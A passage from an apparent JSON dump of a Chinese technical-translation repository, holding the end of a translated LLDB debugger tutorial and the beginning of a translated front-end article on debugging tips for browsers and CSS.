LLDB-Debugger-Exploration`ViewController.viewDidLoad(self=0x00007fa0c1406900) -> () at ViewController.swift:69\n66\n67           let a = 2, b = 2\n68           let result = valueOfLifeWithoutSumOf(a, and: b)\n-> 69           print(result)\n70\n71\n72\n```\n\n想要继续 target 的执行过程直到遇到下次断点的话，运行这个命令：\n\n```\n(lldb) process continue\n\n(lldb) c // 或者只键入 \"c\"，这跟上一条命令是一样的\n```\n\n这个命令等同于 Xcode 调试器工具栏上的”continue“按钮：\n\n![](https://cdn-images-1.medium.com/max/1600/1*655uraZK-VpJeVu6T_yp1w.png)\n\n![](https://cdn-images-1.medium.com/max/1000/1*gv020i3Uihl0JCxg4D6FyQ.png)\n\n`breakpoint` 命令允许你用任何可能的方式操作断点。我们跳过最显而易见的命令：`breakpoint enable`, `breakpoint disable` 和 `breakpoint delete`。\n\n首先，查看你所有断点的话可以用如下示例中的 `list` 子命令：\n\n```\n(lldb) breakpoint list\n\nCurrent breakpoints:\n1: file = '/Users/Ahmed/Desktop/Recent/LLDB-Debugger-Exploration/LLDB-Debugger-Exploration/ViewController.swift', line = 95, exact_match = 0, locations = 1, resolved = 1, hit count = 1\n\n1.1: where = LLDB-Debugger-Exploration`LLDB_Debugger_Exploration.ViewController.valueOfLifeWithoutSumOf (Swift.Int, and : Swift.Int) -> Swift.Int + 27 at ViewController.swift:95, address = 0x0000000107f3eb3b, resolved, hit count = 1\n\n2: file = '/Users/Ahmed/Desktop/Recent/LLDB-Debugger-Exploration/LLDB-Debugger-Exploration/ViewController.swift', line = 60, exact_match = 0, locations = 1, resolved = 1, hit count = 1\n\n2.1: where = LLDB-Debugger-Exploration`LLDB_Debugger_Exploration.ViewController.viewDidLoad () -> () + 521 at ViewController.swift:60, address = 0x0000000107f3e609, resolved, hit count = 1\n```\n\n列表中的第一个数字是断点的 ID，你可以通过这个 ID 引用到指定的断点。现在让我们在控制台中设置一些新的断点：\n\n```\n(lldb) breakpoint set -f ViewController.swift -l 96\n\nBreakpoint 3: where = LLDB-Debugger-Exploration`LLDB_Debugger_Exploration.ViewController.valueOfLifeWithoutSumOf (Swift.Int, and : Swift.Int) -> Swift.Int + 45 at ViewController.swift:96, address = 0x0000000107f3eb4d\n```\n\n这个例子中的 `-f` 是你想要放置断点处的文件名，`-l` 是新断点的行数。还有一种更简洁的方式设置同样的断点，就是用快捷方式 `b`：\n\n```\n(lldb) b ViewController.swift:96\n```\n\n同样地，你也可以用指定的正则（比如函数名）来设置断点，使用下面的命令：\n\n```\n(lldb) breakpoint set --func-regex valueOfLifeWithoutSumOf\n\n(lldb) b -r valueOfLifeWithoutSumOf // 上一条命令的简化版本\n```\n\n有些时候设置断点只命中一次也是有用的，然后指示这个断点立即删除自己，当然啦，有一个命令来处理这件事：\n\n```\n(lldb) breakpoint set --one-shot -f ViewController.swift -l 90\n\n(lldb) br s -o -f ViewController.swift -l 91 // 上一条命令的简化版本\n```\n\n现在我们来到了最有趣的部分 — 自动化断点。你知道你可以设置一个特定的动作使它在断点停住的时候执行吗？是的，你可以！你是否会在代码中用 `print()` 来在调试的时候得到你感兴趣的值？请不要再这样做了，这里有一种更好的方法。🙂\n\n通过 `breakpoint` 命令，你可以设置好命令，使其在断点命中时可以正确执行。你甚至可以设置”不可见“的断点，这种断点并不会打断运行过程。从技术上讲，这些“不可见的”断点其实是会中断执行的，但如果在命令链的末尾添上“continue”命令的话，你就不会注意到它。\n\n```\n(lldb) b ViewController.swift:96 // Let's add a breakpoint first\n\nBreakpoint 2: where = LLDB-Debugger-Exploration`LLDB_Debugger_Exploration.ViewController.valueOfLifeWithoutSumOf (Swift.Int, and : Swift.Int) -> Swift.Int + 45 at ViewController.swift:96, address = 0x000000010c555b4d\n\n(lldb) breakpoint command add 2 // 准备某些命令\n\nEnter your debugger command(s).  Type 'DONE' to end.\n> p sum // 打印变量 \"sum\" 的值\n> p a + b // 运行 a + b\n> DONE\n```\n\n为了确保你添加的命令是正确的，可以使用 `breakpoint command list <breakpoint id>` 子命令：\n\n```\n(lldb) breakpoint command list 2\n\nBreakpoint 2:\nBreakpoint commands:\np sum\np a + b\n```\n\n当下次断点命中时我们就会在控制台看到下面的输出：\n\n```\nProcess 36612 resuming\np sum\n(Int) $R0 = 6\n\np a + b\n(Int) $R1 = 4\n```\n\n太棒了！这正是我们想要的。你可以通过在命令链的末尾添加 `continue` 命令让执行过程更加顺畅，这样你就不会停在这个断点。\n\n```\n(lldb) breakpoint command add 2 // 准备某些命令\n\nEnter your debugger command(s).  Type 'DONE' to end.\n> p sum // 打印变量 \"sum\" 的值\n> p a + b // 运行 a + b\n> continue // 第一次命中断点后直接恢复\n> DONE\n```\n\n结果会是这样：\n\n```\np sum\n(Int) $R0 = 6\n\np a + b\n(Int) $R1 = 4\n\ncontinue\nProcess 36863 resuming\nCommand #3 'continue' continued the target.\n```\n\n![](https://cdn-images-1.medium.com/max/1000/1*Hd2VNOZsUZ2Lsmk_oznRig.png)\n\n通过 `thread` 命令和它的子命令，你可以完全操控执行流程：`step-over`, `step-in`, `step-out` 和 `continue`。这些命令等同于 Xcode 调试器工具栏上的流程控制按钮。\n\n![](https://cdn-images-1.medium.com/max/800/1*_CILKjcJsdVco-hG9rDmhg.png)\n\nLLDB 同样也对这些特殊的命令预先定义好了快捷方式：\n\n```\n(lldb) thread step-over\n(lldb) next // 和 \"thread step-over\" 命令效果一样\n(lldb) n // 和 \"next\" 命令效果一样\n\n(lldb) thread step-in\n(lldb) step // 和 \"thread step-in\" 命令效果一样\n(lldb) s // 和 \"step\" 命令效果一样\n```\n\n为了获取当前线程的更多信息，我们只需要调用 `info` 子命令：\n\n```\n(lldb) thread info \n\nthread #1: tid = 0x17de17, 0x0000000109429a90 LLDB-Debugger-Exploration`ViewController.sumOf(a=2, b=2, self=0x00007fe775507390) -> Int at ViewController.swift:90, queue = 'com.apple.main-thread', stop reason = step in\n```\n\n想要看到当前所有的活动线程的话使用 `list` 子命令：\n\n```\n(lldb) thread list\n\nProcess 50693 stopped\n\n* thread #1: tid = 0x17de17, 0x0000000109429a90 LLDB-Debugger-Exploration`ViewController.sumOf(a=2, b=2, self=0x00007fe775507390) -> Int at ViewController.swift:90, queue = 'com.apple.main-thread', stop reason = step in\n\n  thread #2: tid = 0x17df4a, 0x000000010daa4dc6  libsystem_kernel.dylib`kevent_qos + 10, queue = 'com.apple.libdispatch-manager'\n  \n  thread #3: tid = 0x17df4b, 0x000000010daa444e libsystem_kernel.dylib`__workq_kernreturn + 10\n\n  thread #5: tid = 0x17df4e, 0x000000010da9c34a libsystem_kernel.dylib`mach_msg_trap + 10, name = 'com.apple.uikit.eventfetch-thread'\n```\n\n\n\n### 荣誉奖\n\n`command`, `platform`, `gui`\n\n![](https://cdn-images-1.medium.com/max/1000/1*X9Dl7gaVB1elSpD8WycZGA.png)\n\n在 LLDB 中你可以找到一个命令管理其他的命令，听起来很奇怪，但实际上它是非常有用的小工具。首先，它允许你从文件中执行一些 LLDB 命令，这样你就可以创建一个储存着一些实用命令的文件，然后就能立刻允许这些命令，就像是单个命令那样。这是所说的文件的简单例子：\n\n```\nthread info // 显示当前线程的信息\nbr list // 显示所有的断点\n```\n\n下面是实际命令的样子：\n\n```\n(lldb) command source /Users/Ahmed/Desktop/lldb-test-script\n\nExecuting commands in '/Users/Ahmed/Desktop/lldb-test-script'.\n\nthread info\nthread #1: tid = 0x17de17, 0x0000000109429a90 LLDB-Debugger-Exploration`ViewController.sumOf(a=2, b=2, self=0x00007fe775507390) -> Int at ViewController.swift:90, queue = 'com.apple.main-thread', stop reason = step in\n\nbr list\nCurrent breakpoints:\n1: file = '/Users/Ahmed/Desktop/Recent/LLDB-Debugger-Exploration/LLDB-Debugger-Exploration/ViewController.swift', line = 60, exact_match = 0, locations = 1, resolved = 1, hit count = 0\n1.1: where = LLDB-Debugger-Exploration`LLDB_Debugger_Exploration.ViewController.viewDidLoad () -> () + 521 at ViewController.swift:60, address = 0x0000000109429609, resolved, hit count = 0\n```\n\n遗憾的是还有一个缺点，你不能传递任何参数给这个源文件（除非你在脚本文件本身中创建一个有效的变量）。\n\n如果你需要更高级的功能，你也可以使用 `script` 子命令，这个命令允许你用自定义的 Python 脚本 管理(`add`, `delete`, `import` 和 `list`)，通过 `script` 命令能实现真正的自动化。请阅读这个优秀的教程 [Python scripting for LLDB](http://www.fabianguerra.com/ios/introduction-to-lldb-python-scripting/)。为了演示的目的，让我们创建一个脚本文件 script.py，然后写一个简单的命令 **print_hello()**，这个命令会在控制台中打印出“Hello Debugger!“：\n\n```\nimport lldb\n\ndef print_hello(debugger, command, result, internal_dict):\n\tprint \"Hello Debugger!\"\n    \ndef __lldb_init_module(debugger, internal_dict):\n\tdebugger.HandleCommand('command script add -f script.print_hello print_hello') // 控制脚本的初始化同时从这个模块中添加命令\n\tprint 'The \"print_hello\" python command has been installed and is ready for use.' // 打印确认一切正常\n```\n\n接下来我们需要导入一个 Python 模块，就能开始正常地使用我们的脚本命令了：\n\n```\n(lldb) command import ~/Desktop/script.py\n\nThe \"print_hello\" python command has been installed and is ready for use.\n\n(lldb) print_hello\n\nHello Debugger!\n```\n\n![](https://cdn-images-1.medium.com/max/1000/1*6fRizbW5TQ02_DzHnUinzg.png)\n\n你可以使用 `status` 子命令来快速检查当前的环境信息，`status` 会告诉你：SDK 路径、处理器的架构、操作系统版本甚至是该 SDK 可支持的设备的列表。\n\n```\n(lldb) platform status\n\nPlatform: ios-simulator\nTriple: x86_64-apple-macosx\nOS Version: 10.12.5 (16F73)\nKernel: Darwin Kernel Version 16.6.0: Fri Apr 14 16:21:16 PDT 2017; root:xnu-3789.60.24~6/RELEASE_X86_64\nHostname: 127.0.0.1\nWorkingDir: /\nSDK Path: \"/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator.sdk\"\n\nAvailable devices:\n614F8701-3D93-4B43-AE86-46A42FEB905A: iPhone 4s\nCD516CF7-2AE7-4127-92DF-F536FE56BA22: iPhone 5\n0D76F30F-2332-4E0C-9F00-B86F009D59A3: iPhone 5s\n3084003F-7626-462A-825B-193E6E5B9AA7: iPhone 6\n...\n```\n\n![](https://cdn-images-1.medium.com/max/1000/1*S914ih9-vrEoXKllCJpl0g.png)\n\n你不能在 Xcode 中使用 LLDB GUI 模式，但你总是可以从终端使用（LLDB GUI 模式）。\n\n```\n(lldb) gui\n\n// 如果你试着在 Xcode 中执行这个 gui 命令的话，你将会看到这个错误：the gui command requires an interactive terminal。\n```\n\n![](https://cdn-images-1.medium.com/max/800/1*iN9X46pAI6cDv-ZL5v4L-w.png)\n\n这就是 LLDB GUI 模式看起来的样子。\n\n\n\n### 结论：\n\n在这篇文章中，我只是浅析了 LLDB 的皮毛知识而已，即使 LLDB 已经有好些年头了，但是仍然有许多人并没有完全发挥出它的潜能。我只是对基本的方法做了一个概述，以及谈了 LLDB 如何自动化调试步骤。我希望这会是有帮助的。\n\n还有很多 LLDB 的方法并没有写到，然后还有一些视图调试技术我没有提及。如果你对这些话题感兴趣的话，请在下面留下你的评论，我会更加乐于写这些话题。\n\n我强烈建议你打开终端，启动 LLDB，只需要敲入 `help`，就会向你展示完整的文档。你可以花费数小时去阅读，但是我保证这将是一个合理的时间投资。因为了解你的工具是工程师真正产出的唯一途径。\n\n------\n\n- [LLDB 官方网站](http://lldb.llvm.org) —  你会在这里找到所有与 LLDB 相关的材料。文档、指南、教程、源文件以及更多。\n- [LLDB Quick Start Guide by Apple](https://developer.apple.com/library/content/documentation/IDEs/Conceptual/gdb_to_lldb_transition_guide/document/Introduction.html#//apple_ref/doc/uid/TP40012917-CH1-SW1) — 同样地，Apple 提供了很好的文档。这篇指南能帮你快速上手 LLDB，当然，他们也叙述了怎样不通过 Xcode 地用 LLDB 调试。\n- [How debuggers work: Part 1 — Basics](http://eli.thegreenplace.net/2011/01/23/how-debuggers-work-part-1 \"Permalink to How debuggers work: Part 1 - Basics\") — 我非常喜欢这个系列的文章，这是对调试器实际工作方式很好的概述。文章介绍了用 C 语言手工编写的调试器代码要遵循的所有基本原理。我强烈建议你去阅读这个优秀系列的所有部分（[第2部分](http://eli.thegreenplace.net/2011/01/27/how-debuggers-work-part-2-breakpoints), [第3部分](http://eli.thegreenplace.net/2011/02/07/how-debuggers-work-part-3-debugging-information)）。\n- [WWDC14 Advanced Swift Debugging in LLDB](https://developer.apple.com/videos/play/wwdc2014/410/) — 关于在 LLDB 中用 Swift 调试的一篇不错的概述，也讲了 LLDB 如何通过内建的方法和特性实现完整的调试操作，来帮你变得更加高效。\n- [Introduction To LLDB Python Scripting](http://www.fabianguerra.com/ios/introduction-to-lldb-python-scripting/) — 这篇介绍 LLDB Python 脚本的指南能让你快速上手。\n- [Dancing in the Debugger. A Waltz with LLDB](https://www.objc.io/issues/19-debugging/lldb-debugging)  — 对 LLDB 一些基础知识的介绍，有些知识有点过时了（比如说 `(lldb) thread return` 命令）。遗憾的是，它不能直接用于 Swift，因为它会对引用计数带了一些潜在的隐患。但是，这仍然是你开始 LLDB 之旅不错的文章。\n\n\n------\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/debugging-tips-tricks.md",
    "content": "> * 原文地址：[Debugging Tips and Tricks](https://css-tricks.com/debugging-tips-tricks/)\n> * 原文作者：本文已获原作者 [SARAH DRASNER](https://css-tricks.com/author/sdrasner/) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[loveky](https://github.com/loveky),[ymz1124](https://github.com/ymz1124)\n\n# 前端调试技巧与诀窍  #\n\n编写代码其实只是开发者的一小部分工作。为了让工作更有效率，我们还必须精通 debug。我发现，花一些时间学习新的调试技巧，往往能让我能更快地完成工作，对我的团队做出更大的贡献。关于调试这方面我有一些自己重度依赖的技巧与诀窍，同时我在 workshop 中经常建议大家使用这些技巧，因此我对它们进行了一个汇总（其中有一些来自于社区）。我们将从一些核心概念开始讲解，然后深入探讨一些具体的例子。\n\n### 主要概念 ###\n\n#### 隔离问题 ####\n\n隔离问题大概是 debug 中最重要的核心概念。我们的代码库是由不同的类库、框架组成的，它们有着许多的贡献者，甚至还有一些不再参与项目的人，因此我们的代码库是杂乱无章的。隔离问题可以帮助我们逐步剥离与问题无关的部分以便我们可以把注意力放在解决方案上。\n\n隔离问题的好处包括但不限于以下几条：\n\n- 能够弄清楚问题的根本原因是否是我们想的那样，还是存在其它的冲突。\n- 对于时序任务，能判断是否存在时序紊乱。\n- 严格审查我们的代码是否还能够更加精简，这样既能帮助我们写代码也能帮助我们维护代码。\n- 解开纠缠在一起的代码，以观察到底是只有一个问题还是存在更多的问题。\n\n让问题能够被重现是很重要的。如果你不能重现问题来分辨出它到底出在哪里，你将会很难修复这个问题。或者你也可以将它和类似的正常工作的模块进行对比，这样你就可以发现哪里进行过改动，或者发现两者之间有什么不同。\n\n在实际操作中，我有许多种方法对问题进行隔离。其中一种是在本地创建一个精简的测试用例，当然你也可以在 CodePen 创建一个私人测试用例，或者在 JSBin 创建你的用例。另一种是在代码中创建断点，这样可以让我详细地观察代码的执行情况。以下是几种定义断点的方式：\n\n你可以在你代码中写上 `debugger;`，这样你可以看到当时这一小块代码做了什么。\n\n你还可以在 Chrome 开发者工具中进一步进行调试，单步跟踪事件的发生。你也可以用它选择性地观察指定的事件监听器。\n\n![Step into the next function call](https://cdn.css-tricks.com/wp-content/uploads/2017/04/stepintonextfunctioncall.gif)\n\n古老，好用的 `console.log` 是另一种隔离的方法。（PHP 中是 `echo`，python 中是 `print` ……）。你可以一小片一小片地执行代码并对你的假设进行测试，或者检查看有什么东西发生了变化。这可能是最耗费时间的测试方式了。但是无论你的水平如何高，你还是得乖乖用它。ES6 的箭头函数也可以加速我们的 debug 游戏，它让我们可以在控制台中更方便地写单行代码。\n\n`console.table` 函数也是我最喜欢的工具之一。当你有大量的数据（例如很长的数组、巨大的对象等等）需要展示的时候，它特别有用。`console.dir` 函数也是个不错的选择。它可以把一个对象的属性以可交互的形式展示出来。\n\n![](https://cdn.css-tricks.com/wp-content/uploads/2017/04/dir.png)\n\n**上图为 console.dir 输出的可交互的列表**\n\n#### 保持条理清晰 ####\n\n当我在 workshop 上做讲师，帮助我的班级的学生时，我发现，思路不够清晰是阻碍他们调试的一大问题。这实际上是一种龟兔赛跑的情形。他们想要行动的更快，因此他们会在写代码时一次就改写很多的代码——然后出了某些问题，他们不知道到底是改的那部分导致了问题的出现。接着，为了 debug，他们又一次改很多代码，最后迷失在寻找哪里能正常运行、哪里不能正常运行中。\n\n其实我们或多或少都在这么做。当我们对一个工具越来越熟练时，我们会在没有对设想的情况进行测试的情况下写越来越多的代码。但是当你刚开始用一个语法或技术时，你需要放慢速度并且非常谨慎。你将能越来越快地处理自己无意间造成的错误。其实，当你弄出了一个问题的时候，一次调试一个问题可能会看起来慢一些，但其实要找出哪里发生了变化以及问题的所在是没法快速解决的。我说以上这些话是想告诉你：欲速则不达。\n\n**你还记得小时候父母告诉你的话吗？“如果你迷路了，待在原地别动。“** 至少我的父母这么说了。这么说的原因是如果他们在到处找我，而我也在到处跑着找他们的话，我们将更难碰到一起。代码也是这样的。你每次动的代码越少就越好，你返回一致的结果越多，就越容易找到问题所在。所以当你在调试时，请尽量不要安装任何东西或者添加新的依赖。如果本应该返回一个静态结果的地方每次都出现不同的错误，你就得特别注意了！\n\n### 选用优秀的工具 ###\n\n人们开发了无数的工具用于解决各种各样的问题。下面，我会依次介绍一些我觉得最有用的工具，并在最后贴上相关资源的链接。\n\n#### 代码高亮 ####\n\n当然，为你的代码高亮主题找一个最热辣的配色与风格方案是很有趣的，但是请花点时间想清楚这件事。我通常使用深色主题，当有语法错误时，深色主题会用较亮的颜色显示我的代码，使我能轻松快速地找到错误。我也尝试过使用 Oceanic Next 配色方案与 Panda 配色方案，但是说实话我还是最喜欢自己的那种。在寻找优秀的代码高亮工具的时候请保持理智，帅气的外观当然很棒，但是为你揪出错误的功能性更加重要。当然，你完全有可能找到两者都很优秀的代码高亮工具。\n\n#### 使用 Lint 工具 ####\n\n使用 Lint 工具能够帮助我们标记出来一些可疑的代码，并且能报出我们忽视的一些错误。Lint 工具相当的重要，使用何种 lint 工具取决于你使用的语言与框架，以及最重要的：你认可怎样的代码风格。\n\n不同的公司有着不同的代码风格及规定。我个人比较喜欢 [AirBnB 的 JS 代码规范](https://github.com/airbnb/javascript)。你的 Lint 工具将会强制你按照指定的模式进行编程，否则它可以终止你的构建过程。我曾经使用过一个 CSS Lint 工具，当我为浏览器写 css hack 时，它一直在报错。最后我不得不常常关闭它，它也就没能起到应有的作用。但是一个好的 Lint 工具可以把你忽视的一些潜在的问题指出来。\n\n下面是几个资源：\n\n- 我最近找到了一个[响应式图片 lint 工具](https://github.com/ausi/respimagelint)，它可以告诉你使用 picture 元素、srcset 属性以及 size 属性的时机。\n- 这儿有个[很好的\b分类](https://www.sitepoint.com/comparison-javascript-linting-tools/)，收集与对比了一些 JS lint 工具。\n\n#### 浏览器插件 ####\n\n插件是真的超级棒，你可以轻松地启用或禁用它们。并且它们能在特定需求中发挥重要的作用。如果你使用一些特定的框架或类库工作，使用它们的开发者工具插件将会带给你无与伦比的便利。不过请注意，插件不仅会降低浏览器的速度，它们也有权限执行脚本。因此在你使用之前，请先了解一下插件的作者、评价及背景。总之，下面是一些我最喜欢的插件：\n\n- Deque Systems 提供的 [aXe](https://chrome.google.com/webstore/detail/axe/lhdoppojpmngadmnindnejefpokejbdd)，是一款优秀的可行性分析插件。\n- 如果你工作中使用 React，[React DevTools](https://chrome.google.com/webstore/detail/react-developer-tools/fmkadmapgofadopljbjfkapdkoienihi) 是你必不可少的工具，你可以通过它观察虚拟 DOM。\n- [Vue DevTools](https://chrome.google.com/webstore/detail/vuejs-devtools/nhdogjmejiglipccpnnnanhbledajbpd)，当你使用 Vue 时，同上。\n- [Codopen](https://chrome.google.com/webstore/detail/codopen/agnkphdgffianchpipdbkeaclfbobaak)：它会会从编辑器模式弹出 CodePen 的调试窗口。八卦：我老公因为不喜欢看到我一直手动打开调试窗口，所以特意开发了这个工具。（真是个好礼物）\n- [Pageruler](https://chrome.google.com/webstore/detail/page-ruler/jlpkojjdgbllmedoapgfodplfhcbnbpn)：它能得到页面中的像素尺寸以及任何需要测量的值。我喜欢这个工具，因为我对于我的布局变态般挑剔。它能帮助我解决这些问题。\n\n### 开发者工具 ###\n\n这可能是最直观的调试工具了，你可以用它们办到许多事情。它们有着许多内置的特性容易被人所忽视，因此在这个章节中，我们会深入探讨一些我喜欢的特性。\n\n关于学习开发者工具的功能，Umar Hansa 有一套特别好的资料。他制作了一个[每周周报与 GIF 动图](https://umaar.com/dev-tips/)网站、制作了我们最后一节提到的一个新课程，并在我们网站发表了[这篇文章](https://css-tricks.com/six-tips-for-chrome-devtools/)。\n\n我最近特别喜欢的一个工具是[CSS Tracker 增强插件](https://umaar.com/dev-tips/126-css-tracker/)，收到 Umar 的许可之后我将这个工具在这儿展示给大家看。它会显示出所有没有使用过的 CSS，你可以由此来理解 CSS 对于性能的影响。\n\n![](https://cdn.css-tricks.com/wp-content/uploads/2017/04/Screen-Shot-2017-04-10-at-10.20.11-AM.png)\n\n**上图展示了 CSS tracker 为代码被使用的部分和未被使用的部分按照规则表上不同的颜色。**\n\n#### 各色各样的工具 ####\n\n- [What input](https://ten1seven.github.io/what-input/) 是一个能跟踪当前输入（鼠标、键盘、触摸）与当前信息的实用工具。（感谢 Marcy Sutton 提供了这个便捷的工具）\n- 如果你做的是响应式开发，或者你得在无数种设备上进行检查，那么 [Ghostlabapp](https://www.vanamco.com/ghostlab/) 是个挺适合你的时髦工具。它为你提供了同步移动 web 开发、测试与检查。\n- [Eruda 是个很棒的工具](http://eruda.liriliri.io/)，它可以帮助我们在移动设备上进行调试。我很喜欢它，因为它不仅是一个模拟器，还为你准备了控制台和真实的开发者工具，让你更容易理解。\n\n![eruda gives you a mobile console](https://cdn.css-tricks.com/wp-content/uploads/2017/04/Screen-Shot-2017-04-10-at-10.38.57-AM.png)\n\n### 特别提示 ###\n\n我一直对其他人是怎么 debug 的很感兴趣，所以我通过 CSS-Tricks 与我的个人账号在社区征集大家最喜欢的调试方式。以下是社区中大家给出的技巧的合集。\n\n> 译注：以下如“@xxx -2017年3月15日”格式的文字均为用户在推特上的发言，点击日期可以看到原推特。\n\n#### 辅助方法 ####\n\n```\n$('body').on('focusin',function(){\n  console.log(document.activeElement);});\n```\n\n> 这段代码会记录当前焦点所在的元素。它用起来很方便，因为当你打开开发者工具的时候会将 activeElement 的焦点移除。\n\n-[Marcy Sutton](https://twitter.com/marcysutton)\n\n#### 调试 CSS ####\n\n我们收到很多回复说一些人喜欢在元素外面加上红色的边框（border），以此来观察元素的行为。\n\n> [@sarah_edo](https://twitter.com/sarah_edo)：对于 CSS，我通常会给有问题的元素加上一个 .debug 的 class，这个 class 定义了红色的 border。\n>\n> — Jeremy Wagner (@malchata) [2017年3月15日](https://twitter.com/malchata/status/842029469246324736)\n\n我也会这么做。而且我还做了一个简单的 CSS 文件，可以让我方便地用一些 class 来加上不同的颜色。\n\n#### 检测 React 的 State ####\n\n> [@sarah_edo](https://twitter.com/sarah_edo)：<pre>{JSON.stringify(this.state, null, 2)}</pre>\n>\n> — MICHAEL JACKSON (@mjackson) [2017年3月15日](https://twitter.com/mjackson/status/842041642760646657)\n\nMichael 提到的这个办法，是我认为最有用的 debug 工具之一。这点代码可以“美观地输出”你当前正在使用的组件的 state，因此你可以了解此时此刻这个组件将会如何变化。你可以确认这个 state 是否和你设想的一样正常工作，它可以帮助你跟踪任何 state 中的错误，以及你使用 state 出现的错误。\n\n#### 动画 ####\n\n我们收到了许多的回复，说他们会在调试时减慢动画速度：\n\n> [@sarah_edo](https://twitter.com/sarah_edo)[@Real_CSS_Tricks](https://twitter.com/Real_CSS_Tricks)： * { animation-duration: 10s !important; }\n>\n> — Thomas Fuchs (@thomasfuchs) [2017年3月15日](https://twitter.com/thomasfuchs/status/842029720820695040)\n\n我在之前的文章[《调试 CSS 关键帧动画》](https://css-tricks.com/debugging-css-keyframe-animations/)中提到过这个问题，那篇文章里还有更多的技巧，例如如何使用硬件加速、如何在不同时刻进行多种变换等。\n\n我也会使用 JavaScript 将我的动画减速。在  GreenSock 中，以这种形式实现：`timeline.timeScale(0.5)`，它将会将整个时间轴都减速，而不是仅仅将一个动画减速，这个功能超级有用。在 mo.js 中，这个功能是这么写的：`{speed: 0.5}`。\n\n> 译注：[GreenSock](https://greensock.com) 与 mo.js 都是功能强大的js动画库\n\n[Val Head 通过屏幕录像做了一个很好的视频](https://www.youtube.com/watch?v=MjRipmP7ffM&feature=youtu.be)，这个视频展示了 Chrome 与 Firefox 开发者工具中提供的动画调试功能。\n\n如果你打算用 Chrome 开发者工具的时间轴来进行性能评估，那么请注意绘制（paint）是最耗性能的步骤，因此当时间轴中绿色占比很高的时候请当心。\n\n#### 检查不同连接状态下的加载情况 ####\n\n我往往在网速很快的条件中工作，所以我会限制我的网速来观察那些网速较慢的人们所体验到的性能。\n\n![throttle connection in devtools](https://cdn.css-tricks.com/wp-content/uploads/2017/04/Screen-Shot-2017-04-10-at-9.29.00-AM.png)\n\n这是个很有用的功能。它可以与强制刷新、清除缓存结合起来使用。\n\n> [@sarah_edo](https://twitter.com/sarah_edo)：这儿有个不是秘密的小技巧，但是很多人还不知道：打开开发者工具，然后在刷新按钮上右击。[pic.twitter.com/FdAfF9Xtxm](https://t.co/FdAfF9Xtxm)\n>\n> — David Corbacho (@dcorbacho) [2017年3月15日](https://twitter.com/dcorbacho/status/842033259664035840)\n\n#### 设置定时 Debugger ####\n\n这一条是 Chris 提供的。对于这点我们写了一篇[详细的文章](https://css-tricks.com/set-timed-debugger-web-inspect-hard-grab-elements/)。\n\n```\nsetTimeout(function() {\n  debugger;\n}, 3000);\n```\n\n它与我之前提到的 `debugger;` 工具很类似，不过你可以把它放在 setTimeout 函数中，得到更多详细的信息。\n\n#### 模拟器 ####\n\n> [@Real_CSS_Tricks](https://twitter.com/Real_CSS_Tricks) 有的 Mac 用户可能还不知道，用 iOS 模拟器加上 Safari 简直不要太方便！ [pic.twitter.com/Uz4XO3e6uD](https://t.co/Uz4XO3e6uD)\n>\n> — Chris Coyier (@chriscoyier) [2017年3月15日](https://twitter.com/chriscoyier/status/842034009060302848)\n\n我前面提到了使用 Eruda 模拟器。iOS 用户还有一种很好的模拟器可以使用。在过去，我会告诉你你得先安装 XCode，但是这条推特提供了一种不同的方法：\n\n> [@chriscoyier](https://twitter.com/chriscoyier)[@Real_CSS_Tricks](https://twitter.com/Real_CSS_Tricks) 如果你不想装 XCode，你也可以通过这种方式来使用模拟器：[https://t.co/WtAnZNo718](https://t.co/WtAnZNo718)\n>\n> — Chris Harrison (@cdharrison) [2017年3月15日](https://twitter.com/cdharrison/status/842038887904088065)\n\nChrome 也有切换设备型号功能，很实用。\n\n#### 远程调试 ####\n\n> [@chriscoyier](https://twitter.com/chriscoyier)[@Real_CSS_Tricks](https://twitter.com/Real_CSS_Tricks)：[jsconsole](https://jsconsole.com) 是个很棒的工具。\n>\n> — Gilles 💾⚽ (@gfra54) [2017年3月15日](https://twitter.com/gfra54/status/842035375304523777)\n\n在看到他发的这条推特前，我还真不知道有这么一个好用的工具！\n\n> 译注，jsconsole 官网现在因为未知原因打不开了，也可以用 Weinre 和 Ghostlab 等工具进行移动远程调试。\n\n#### 调试 CSS 网格布局 ####\n\nRachel Andrew 也送给我们一个很好的方法。当你使用 Firefox 时，点击一个图标，网格的间隔将会被高亮。[她的视频](http://gridbyexample.com/learn/2016/12/17/learning-grid-day17/)详细地解释了这个技巧。\n\n![](https://cdn.css-tricks.com/wp-content/uploads/2017/04/Screen-Shot-2017-04-10-at-9.58.14-AM.png)\n\n**上图为 Rachel Andrew 展示了如何在 Firefox 开发者工具中将网格的间距高亮。**\n\n#### 数组调试 ####\n\nWes Bos 提供了一个在数据中搜索元素的一个很有用的技巧：\n\n>  你可以用 array.find 来查找元素🔥 [https://t.co/AuRtyFwnq7](https://t.co/AuRtyFwnq7)\n>\n>  — Wes Bos (@wesbos) [2017年3月15日](https://twitter.com/wesbos/status/842069915158884354)\n\n### 更多调试相关的资源 ###\n\nJon Kuperman 制作了一个 [“前端能手课程”](https://frontendmasters.com/courses/chrome-dev-tools/)，这个课程将会通过[这个 app](https://github.com/jkup/mastering-chrome-devtools) 来帮助你掌握开发者工具的使用。\n\ncode school 的一个小课程：[发现开发者工具](https://www.codeschool.com/courses/discover-devtools)。\n\nUmar Hansa 的一个新的在线课程： [现代开发者工具](https://moderndevtools.com/)。\n\nJulia Evans 写了一篇很不错的 [关于调试的文章](http://jvns.ca/blog/2015/11/22/how-i-got-better-at-debugging/)，在此向 Jamison Dance 致谢，感谢他让我看到这么好的文章。\n\nPaul Irish 总结了一些 